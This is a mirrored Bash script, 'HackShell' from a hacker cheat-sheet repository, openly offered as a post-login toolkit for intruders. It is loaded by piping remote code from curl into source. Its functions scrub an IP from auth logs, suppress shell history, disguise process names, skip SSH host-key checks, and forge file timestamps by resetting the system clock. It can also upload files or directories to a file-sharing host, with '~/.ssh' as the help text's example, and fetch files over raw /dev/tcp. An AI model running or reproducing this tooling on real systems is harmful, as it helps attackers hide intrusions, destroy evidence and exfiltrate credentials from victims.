mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-02-12 21:32:51 +00:00
304 lines
10 KiB
Bash
Executable File
304 lines
10 KiB
Bash
Executable File
#! /usr/bin/env bash
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# HackShell - Post-Login shell configuration for hackers
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#
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# Configure the current shell to not create any files on the
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# file system and set up some useful commands. Optionally download
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# useful static binaries.
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#
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# Usage (memory only):
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# source <(curl -SsfL https://thc.org/hs)
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# Usage with downloading binaries:
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# BIN=1 source <(curl -SsfL https://thc.org/hs)
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#
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# Environment variables:
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# XHOME= Set custom XHOME directory instead of /dev/shm/.$'\t''~?$:?'
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#
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# https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/hackshell.sh
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# 2024 by theM0ntarCann0n & skpr
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CY="\033[1;33m" # yellow
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CG="\033[1;32m" # green
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CR="\033[1;31m" # red
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CB="\033[1;34m" # blue
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CM="\033[1;35m" # magenta
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CC="\033[1;36m" # cyan
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CDR="\033[0;31m" # red
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CDG="\033[0;32m" # green
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CDY="\033[0;33m" # yellow
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CDM="\033[0;35m"
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CDC="\033[0;36m" # cyan
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CF="\033[2m" # faint
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CN="\033[0m" # none
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CW="\033[1;37m"
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### Functions to keep in memory
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HS_ERR() { echo -e >&2 "${CR}ERROR: ${CDR}$*${CN}"; }
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HS_WARN() { echo -e >&2 "${CY}WARN: ${CDM}$*${CN}"; }
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xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
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xsu() {
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local name="${1:?}"
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local u g h
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[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
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u=$(id -u ${name:?}) || return
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g=$(id -g ${name:?}) || return
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h="$(grep "$U" /etc/passwd | cut -d: -f6)" || return
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HOME="${h:-/tmp}" python3 -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
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}
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xtmux() {
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local sox="${TMPDIR}/.tmux-${UID}"
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# Can not live in XHOME because XHOME is wiped on exit()
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tmux -S "${sox}" "$@"
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command -v fuser >/dev/null && { fuser "${sox}" || rm -f "${sox}"; }
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}
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xssh() {
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local ttyp
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echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
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echo -e "PS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
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ttyp=$(stty -g)
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stty raw -echo opost
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# ssh -oUpdateHostKeys=no -oStrictHostKeyChecking="${a:-accept-new}" -T \
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ssh "${HS_SSH_OPT[@]}" -T \
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"$@" \
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"unset SSH_CLIENT SSH_CONNECTION; TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [ntp] script -qc 'exec -a [uid] bash -i' /dev/null"
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stty "${ttyp}"
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}
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burl() {
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IFS=/ read -r proto x host query <<<"$1"
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exec 3<>"/dev/tcp/${host}/${PORT:-80}"
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echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
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(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
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exec 3>&-
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}
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# burl http://ipinfo.io
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# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
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# Execute a command without changing file's ctime/mtime/atime
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# notime <reference file> <cmd> ...
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# - notime . rm -f foo.dat
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# - notime foo chmod 700 foo
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notime() {
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local ref="$1"
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local now
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[[ $# -le 1 ]] && { echo >&2 "notime <reference file> <cmd> ..."; return 255; }
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[[ ! -e "$ref" ]] && { echo >&2 "File not found: $ref"; return 255; }
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[ $UID -ne 0 ] && { HS_ERR "Need root"; return 255; }
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shift 1
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now=$(date -Ins) || return
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date --set="$(date -Ins -r "$ref")" >/dev/null || return
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"$@"
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date --set="$now" >/dev/null || return
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}
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# Presever mtime, ctime and birth-time as best as possible.
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# notime_cp <src> <dst>
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notime_cp() {
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local src="$1"
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local dst="$2"
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local now
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local olddir_date
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local dir
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[[ -z "$UID" ]] && UID="$(id -u)"
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[[ ! -f "$src" ]] && { echo >&2 "Not found: $src"; return 255; }
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if [[ -d "$dst" ]]; then
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dir="$dst"
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dst+="/$(basename "$src")"
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else
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dir="$(dirname "$dst")"
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fi
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# If dst exists then keep dst's time (otherwise use time of src)
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[[ -f "$dst" ]] && {
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# Make src identical to dst (late set dst to src).
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touch -r "$dst" "$src"
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chmod --reference "$dst" "$src"
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}
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olddir_date="$(date +%Y%m%d%H%M.%S -r "$dir")" || return
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[[ ! -e "$dst" ]] && {
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[[ "$UID" -eq 0 ]] && {
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now=$(date -Ins)
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date --set="$(date -Ins -r "$src")" >/dev/null || return
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touch "$dst"
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chmod --reference "$src" "$dst"
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touch -t "$olddir_date" "$dir" # Changes ctime
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chmod --reference "$dir" "$dir" # Fixes ctime
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# [[ -n "$now" ]] &&
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date --set="$now" >/dev/null
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unset olddir_date
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}
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}
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cat "$src" >"$dst"
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chmod --reference "$src" "$dst"
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touch -r "$src" "$dst"
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[[ "$UID" -ne 0 ]] && {
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# Normal users can't change date to the past.
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touch -t "${olddir_date:?}" "$dir"
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return
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}
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now=$(date -Ins) || return
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date --set="$(date -Ins -r "$src")" || return
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chmod --reference "$dst" "$dst" # Fixes ctime
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date --set="$now"
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}
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resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; }
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find_subdomains() {
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local d="${1//./\\.}"
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local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}"
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local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)'
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[ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains <apex-domain> <file>\nExample: find_subdomain .com | anew"; return; }
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shift 1
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[ $# -le 0 ] && [ -t 0 ] && set -- .
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command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; }
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grep -Eaohr "$rex" "$@" | grep -Eo "$rexf"
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}
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# HS_TRANSFER_PROVIDER="transfer.sh"
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HS_TRANSFER_PROVIDER="oshi.at"
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transfer() {
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[[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; }
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[[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://${HS_TRANSFER_PROVIDER}/${1}"; return; }
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[[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
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[[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://${HS_TRANSFER_PROVIDER}/${1##*/}.tar.gz"; return; }
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curl -SsfL --progress-bar -T "$1" "https://${HS_TRANSFER_PROVIDER}/${1##*/}"
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}
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# SHRED without shred command
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command -v shred >/dev/null || shred() {
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[[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; }
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dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1"
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rm -f "${1:?}"
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}
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# Keep this seperate because this actually creates data.
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mk() {
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mkdir -p "${XHOME:?}" 2>/dev/null
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export HOME="${XHOME}"
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echo -e "${CDM}HOME set to ${CDY}${XHOME}${CN} ${CF}[will auto-destruct on exit]${CN}"
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echo -e "Undo with ${CDC}export HOME='${_HS_HOME_ORIG}'${CN}"
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}
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bin() {
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mkdir -p "${XHOME}" 2>/dev/null
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export PATH="${XHOME}:$PATH"
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HS_WARN "NOT YET IMPLEMENTED"
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}
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hs_exit() {
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cd /tmp || cd /dev/shm || cd /
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[ -n "$XHOME" ] && [ -d "$XHOME" ] && rm -rf "${XHOME:?}"
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[ -t 1 ] && echo -e "${CW}>>>>> 📖 More tips at https://thc.lorg/tips${CN} 😘"
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kill -9 $$
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}
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[ -z "$BASH" ] && TRAPEXIT() { hs_exit; } #zsh
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### Functions (temporary)
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hs_init() {
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local a
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local prg="$1"
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[ -z "$BASH" ] && { HS_WARN "Shell is not BASH. Try:
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${CY}>>>>> ${CDC}curl -obash -SsfL 'https://bin.ajam.dev/$(uname -m)/bash && chmod 700 bash && exec bash -il'"; }
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[ -n "$BASH" ] && [ "${prg##*\.}" = "sh" ] && { HS_ERR "Use ${CDC}source $prg${CDR} instead"; sleep 2; exit 255; }
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[ -z "$UID" ] && UID="$(id -u)"
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[ -n "$_HS_HOME_ORIG" ] && export HOME="$_HS_HOME_ORIG"
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export _HS_HOME_ORIG="$HOME"
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if [ -n "$BASH" ]; then
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trap hs_exit EXIT SIGHUP SIGTERM SIGPIPE
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else
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trap hs_exit SIGHUP SIGTERM SIGPIPE
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fi
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HS_SSH_OPT=()
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command -v ssh >/dev/null && {
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[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
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HS_SSH_OPT+=("-oStrictHostKeyChecking=${a:-accept-new}")
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# HS_SSH_OPT+=("-oUpdateHostKeys=no")
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HS_SSH_OPT+=("-oUserKnownHostsFile=/dev/null")
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HS_SSH_OPT+=("-oKexAlgorithms=+diffie-hellman-group1-sha1")
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HS_SSH_OPT+=("-oHostKeyAlgorithms=+ssh-dss")
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}
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}
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hs_init_alias() {
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alias ssh="ssh ${HS_SSH_OPT[*]}"
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alias scp="scp ${HS_SSH_OPT[*]}"
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alias wget='wget --no-hsts'
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alias vi="vi -i NONE"
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alias vim="vim -i NONE"
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alias screen="screen -ln"
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}
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hs_init_shell() {
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unset HISTFILE
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[ -n "$BASH" ] && export HISTFILE="/dev/null"
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export BASH_HISTORY="/dev/null"
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export LANG=C.UTF-8
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locale -a 2>/dev/null|grep -Fqim1 C.UTF || export LANG=C
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export LESSHISTFILE=-
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export REDISCLI_HISTFILE=/dev/null
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export MYSQL_HISTFILE=/dev/null
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export T=.$'\t''~?$?'
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TMPDIR="/tmp"
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[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
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[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
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export TMPDIR
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[ -z "$XHOME" ] && export XHOME="${TMPDIR}/${T}"
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export PATH=".:${PATH}"
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# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \e[36m\u\e[m@\e[32m\h:\e[33;1m\w \e[0;31m\$\e[m '
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PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
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# echo -e "${CDM}Change your prompt with ${CDC}"; echo -n " PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '"; echo -e "${CN}"
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}
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xhelp() {
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# Output help
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echo -en "\
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${CDC} xlog '1\.2\.3\.4' /var/log/auth.log ${CDM}Cleanse log file
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${CDC} xsu username ${CDM}Switch user
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${CDC} xtmux ${CDM}Start 'hidden' tmux
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${CDC} xssh ${CDM}Silently log in to remote host
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${CDC} burl http://ipinfo.io 2>/dev/null ${CDM}Request URL ${CN}${CF}[no https support]
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${CDC} transfer ~/.ssh ${CDM}Upload a file or directory ${CN}${CF}[${HS_TRANSFER_PROVIDER}]
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${CDC} shred file ${CDM}Securely delete a file
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${CDC} notime <file> rm -f foo.dat ${CDM}Exec ${CDC}command${CDM} at mtime of <file>
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${CDC} notime_cp <src> <dst> ${CDM}Copy file. Keep birth-time, ctime, mtime & atime
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${CDC} find_subdomain .foobar.com ${CDM}Search files for sub-domain
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${CDC} bin ${CDM}Download useful static binaries
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${CDC} xhelp ${CDM}This help"
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echo -e "${CN}"
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}
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### Programm
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hs_init "$0"
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hs_init_alias
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hs_init_shell
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xhelp
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### Finishing
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str=""
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[ -z "$BIN" ] && {
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echo -e "Type ${CDC}mk${CN} to use HOME=${CDY}${XHOME}${CN}"
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str="Memory only. The filesystem is UNTOUCHED."
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}
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echo -e ">>> ${CG}Setup complete. ${CF}${str}${CN}"
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# unset all functions that are no longer needed.
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unset -f hs_init hs_init_alias hs_init_shell
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unset BIN str SSH_CONNECTION SSH_CLIENT
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